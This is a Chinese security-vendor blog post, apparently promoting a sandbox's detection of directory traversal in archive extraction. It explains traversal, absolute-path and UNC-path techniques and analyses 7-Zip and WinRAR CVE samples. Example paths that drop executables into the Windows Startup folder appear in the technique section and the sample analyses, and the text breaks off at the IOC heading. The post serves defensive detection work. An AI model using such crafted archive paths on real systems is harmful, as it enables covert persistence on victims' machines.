<h1 style="box-sizing: border-box;font-size: 1.5rem;margin: 0.5rem 0px;line-height: 1.5rem;font-weight: 500;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-role="title" data-tools="135编辑器" data-id="158385"><div style="margin: 10px auto;display: flex;justify-content: flex-start;"><div style="display: flex;align-items: center;"><div style="flex-shrink: 0;display: flex;flex-direction: column;padding: 0 5px;box-sizing:border-box;"><p style="font-size: 16px;letter-spacing: 1.5px;color: #ffffff;background: linear-gradient(to right,#2432cc,#1166d0);width: 36px;height: 36px;display: flex;justify-content: center;align-items: center;border-radius: 100%;z-index: 2;box-sizing:border-box;"><strong><span leaf="">0</span></strong><strong data-original-title="" title="" data-num="2"><span leaf="">1</span></strong></p></div><div><p style="font-size: 16px;color: #222872;text-align: left;padding: 0 10px;box-sizing:border-box;"><span leaf=""><span textstyle="" style="font-size: 20px;">概述</span></span></p></div></div></div></div></div></h1><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在 Windows 系统中，压缩包（如 RAR、ZIP、7z 等）作为常见的文件分发载体，因其便捷性和通用性被广泛使用。然而，攻击者常利用压缩软件的目录穿越漏洞（如 CVE-2025-8088），通过构造恶意压缩包将恶意载荷写入系统关键路径（如启动项、系统目录等），实现持久化驻留或提权执行。此类攻击隐蔽性强、危害大，且传统静态检测难以有效识别。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">为应对这一威胁，天穹沙箱正式上线</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">压缩包目录穿越动态检测能力</span></strong><span leaf="">。该能力通过监控压缩软件在沙箱环境中的实际解压行为，实时捕获文件写入路径，精准识别包含 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">..\</span></code><span leaf="">、绝对路径、UNC 路径等高危操作，有效还原攻击者的真实意图。</span></p><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-role="title" data-tools="135编辑器" data-id="158385"><div style="margin: 10px auto;display: flex;justify-content: flex-start;"><div style="display: flex;align-items: center;"><div style="flex-shrink: 0;display: flex;flex-direction: column;padding: 0 5px;box-sizing:border-box;"><p style="font-size: 16px;letter-spacing: 1.5px;color: #ffffff;background: linear-gradient(to right,#2432cc,#1166d0);width: 36px;height: 36px;display: flex;justify-content: center;align-items: center;border-radius: 100%;z-index: 2;box-sizing:border-box;"><strong><span leaf="">0</span></strong><strong data-original-title="" title="" data-num="2"><span leaf="">2</span></strong></p></div><div><p style="font-size: 16px;color: #222872;text-align: left;padding: 0 10px;box-sizing:border-box;"><strong data-brushtype="text"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;h1&#34;,&#34;attributes&#34;:{&#34;id&#34;:&#34;二、目录穿越攻击常见手法&#34;,&#34;style&#34;:&#34;box-sizing: border-box; font-size: 1.5rem; margin: 0.5rem 0px; line-height: 1.5rem; font-weight: 500; color: rgb(32, 32, 32); font-family: sans-serif; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 20px;">目录穿越攻击常见手法</span></span></strong></p></div></div></div></div></div><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">当前主流压缩包目录穿越攻击主要包括以下几类：</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf=""><span textstyle="" style="font-weight: normal;">1、路径遍历</span></span></strong><span leaf=""><span textstyle="" style="font-weight: normal;">（Path Traversal）</span></span></p><p data-pm-slice="0 0 []"><span style="mso-spacerun:&#39;yes&#39;;font-family:宋体;mso-ascii-font-family:Calibri;mso-hansi-font-family:Calibri;mso-bidi-font-family:&#39;Times New Roman&#39;;font-size:10.5000pt;mso-font-kerning:1.0000pt;"><font face="宋体"><span style="color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">压缩包内构造包含 </span></span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;color: rgb(32, 32, 32);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">..\..\..\</span></code><span style="color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span leaf=""> 的文件路径，诱导解压程序将文件写入非预期目录。例如：</span></span></font></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">\..\..\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\demo.exe</span></code></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">2、绝对路径写入</span></strong></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">部分压缩格式（如 RAR）支持在压缩时嵌入绝对路径。攻击者可直接指定目标写入路径，绕过用户预期目录限制。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">3、UNC 路径利用</span></strong></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">通过构造类似 </span><code><span leaf="">\\?\C:\Windows\Temp\demo.exe</span></code><span leaf=""> 的 UNC 路径，绕过常规路径校验逻辑，实现任意位置写入。</span></p><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-role="title" data-tools="135编辑器" data-id="158385"><div style="margin: 10px auto;display: flex;justify-content: flex-start;"><div style="display: flex;align-items: center;"><div style="flex-shrink: 0;display: flex;flex-direction: column;padding: 0 5px;box-sizing:border-box;"><p style="font-size: 16px;letter-spacing: 1.5px;color: #ffffff;background: linear-gradient(to right,#2432cc,#1166d0);width: 36px;height: 36px;display: flex;justify-content: center;align-items: center;border-radius: 100%;z-index: 2;box-sizing:border-box;"><strong><span leaf="">0</span></strong><strong data-original-title="" title="" data-num="2"><span leaf="">3</span></strong></p></div><div><p style="font-size: 16px;color: #222872;text-align: left;padding: 0 10px;box-sizing:border-box;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 24px;">样本分析</span></span></strong></p></div></div></div></div></div><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">样本上传</span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">上传样本到天穹沙箱</span><span leaf="">(<a href="https://sandbox.qianxin.com)" target="_blank">https://sandbox.qianxin.com)</a></span><span leaf="">，即可快速准确地检测未知样本恶意行径，操作步骤如下：</span></p><ol style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">浏览器打开天穹智能分析平台，点击天穹沙箱；</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">选择分析环境及配置项，如图 1 所示，选择 Windows x64 作为分析系统，配置</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">自动解压开关</span></strong><span leaf="">为 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">OFF</span></strong><span leaf="">，点击确认选择；</span><span leaf=""><br/></span><span leaf=""><img data-imgfileid="100005223" alt="压缩包解压开关" class="rich_pages wxw-img" data-ratio="0.537962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=cb599e24&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96luwErSIIgIfgjE5aibDKRvP46nb3sVN1fSMdsdSWPwrk2yZ7VAWJtOjOHAa2t965cvuSAvfH0wKVA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><center style="box-sizing: border-box;"><span leaf="">图1 分析配置</span></center></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">上传样本，点击上传区域选择样本上传或将样本拖至上传区域即可上传样本，如图 2 所示，等待沙箱分析结束。</span><span leaf=""><br/></span><span leaf=""><img alt="上传图片" class="rich_pages wxw-img" data-imgfileid="100005221" data-ratio="0.5565509518477044" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-type="png" data-w="893" src="https://wechat2rss.xlab.app/img-proxy/?k=2ba4394b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96luwErSIIgIfgjE5aibDKRvPZHgXx3yPML6ORU9UBJ5pIJkC7ztfxNAx4POh06yH0uuIT2Hxg7qGPw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><center style="box-sizing: border-box;"><span leaf="">图2 上传样本</span></center></li></ol><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">检测能力</span></h2><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">样本一：7z目录穿越利用（CVE-2025-11001）</span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">报告链接：</span><span leaf=""><a href="https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=77444fbffa03379101f2f9346571d372&amp;sk=04464385" target="_blank">https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=77444fbffa03379101f2f9346571d372&amp;sk=04464385</a></span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">漏洞原理：CVE-2025-11001 漏洞源于 7-Zip 在处理 ZIP 压缩包中的符号链接（Symbolic Links）时存在安全缺陷。具体来说，当 7-Zip 解压包含符号链接的 ZIP 文件时，未能正确验证符号链接指向的目标路径，导致攻击者可以构造恶意的 ZIP 压缩包，其中包含指向系统关键目录（如系统目录、程序目录等）的符号链接。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">经天穹沙箱分析，在 7z 解压过程中捕获到以下行为，如图 3 所示:</span></p><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">7z 工具向自启动目录写入文件 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">c:\Users\luchao\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\calc.exe</span></code><span leaf="">；</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">该路径明显超出沙箱指定的解压目录 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">C:\Users\luchao\AppData\Roaming\</span></code><span leaf="">；</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">沙箱触发“目录穿越”高危告警。</span></p></li></ul><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005220" alt="目录穿越检测图1" class="rich_pages wxw-img" data-ratio="0.10740740740740741" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=b4809529&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96luwErSIIgIfgjE5aibDKRvPnAiamiaEA6JNa0ncfTzuR3muyzZiaia9ibialRdiacBZNeic9cUDzfWcb5mvWQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图3 目录穿越检测</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">借助天穹智能分析平台了解 CVE-2025-11001 漏洞的详细信息，如图 4 所示，智能体总结了漏洞成因、攻击条件、影响版本、PoC代码等信息，并以脑图形式直观展示分析结果之间的关联和层级结构。</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100005224" class="rich_pages wxw-img" data-ratio="0.6314814814814815" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=02d3f45e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96luwErSIIgIfgjE5aibDKRvPFlVzfEgAW0abscYkaqk5J0I3J5EJiaJicVeSug8p6NIV2oGMCpeDevOQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图4 天穹智能体解读</span></center><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">样本二：winrar 目录穿越利用（CVE-2025-8088）</span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">报告链接：</span><span leaf=""><a href="https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=d84b10e5be84f7a208f4a0e8157d675e&amp;sk=54695392" target="_blank">https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=d84b10e5be84f7a208f4a0e8157d675e&amp;sk=54695392</a></span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">漏洞原理：WinRAR 在解析压缩文件时存在路径校验逻辑缺陷，未对压缩包内嵌的 NTFS 备用数据流（ADS）及路径跳转符号（如 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">..\</span></code><span leaf="">）进行严格过滤。攻击者可利用此缺陷构造恶意压缩包，通过 ADS 特性隐藏恶意文件，并结合路径遍历技术突破解压目录限制，最终将文件写入系统敏感路径（如启动目录）。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">基于天穹沙箱的动态分析链还原漏洞利用攻击路径，如图 5 所示：</span></p><ol style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">触发解压：用户双击恶意压缩包，系统调用 WinRAR.exe 启动解压流程；</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">路径篡改：WinRAR 在解析压缩包时，未正确校验文件路径的合法性。攻击者通过 ADS 流嵌入的路径跳转指令（如 ..\Startup\payload.exe），将目标解压路径动态指向系统启动目录（C:\Users\luchao\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup）；</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">越权写入：WinRAR 绕过用户指定的解压目录（如 C:\Downloads），直接将恶意文件写入启动目录，完成持久化驻留。</span></p></li></ol><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005222" alt="目录穿越检测图2" class="rich_pages wxw-img" data-ratio="0.2018867924528302" data-type="png" data-w="1060" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=a47af90b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96luwErSIIgIfgjE5aibDKRvPxEXmhDwEuNIqUC029QUlMicYnSmFvjFyScDzw7kh1ZP5GTsQd9SicCPw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图5 目录穿越检测</span></center><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-role="title" data-tools="135编辑器" data-id="158385"><div style="margin: 10px auto;display: flex;justify-content: flex-start;"><div style="display: flex;align-items: center;"><div style="flex-shrink: 0;display: flex;flex-direction: column;padding: 0 5px;box-sizing:border-box;"><p style="font-size: 16px;letter-spacing: 1.5px;color: #ffffff;background: linear-gradient(to right,#2432cc,#1166d0);width: 36px;height: 36px;display: flex;justify-content: center;align-items: center;border-radius: 100%;z-index: 2;box-sizing:border-box;"><strong><span leaf="">0</span></strong><strong data-original-title="" title="" data-num="2"><span leaf="">4</span></strong></p></div><div><p style="font-size: 16px;color: #222872;text-align: left;padding: 0 10px;box-sizing:border-box;"><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">IOC</span></span></p></div></div></div></div></div><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: 